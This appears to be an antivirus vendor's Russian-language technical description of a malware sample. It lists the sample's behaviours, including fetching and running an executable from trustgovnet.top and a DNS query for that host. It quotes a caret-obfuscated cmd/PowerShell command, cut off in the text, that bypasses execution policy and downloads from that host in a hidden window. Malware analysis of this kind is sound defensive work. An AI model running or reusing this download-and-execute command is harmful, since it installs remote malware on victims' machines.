Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://trustgovnet.top/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "p^o^wE^RShElL.^eXe^ -EXe^cu^TiOn^PO^L^I^c^y^ b^Y^pAss^ -NOp^Ro^fi^Le -^wi^ND^o^W^sT^yLE HiddEN (^NEW-OB^j^ECt S^yS^t^E^m.N^eT^.we^b^c^LieNT).^do^w^nlOad^fIlE^('http://trustgovnet.to...
Сетевая активность
UDP
- DNS ASK tr###govnet.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "p^o^wE^RShElL.^eXe^ -EXe^cu^TiOn^PO^L^I^c^y^ b^Y^pAss^ -NOp^Ro^fi^Le -^wi^ND^o^W^sT^yLE HiddEN (^NEW-OB^j^ECt S^yS^t^E^m.N^eT^.we^b^c^LieNT).^do^w^nlOad^fIlE^('http://trustgovnet.to...' (со скрытым окном)
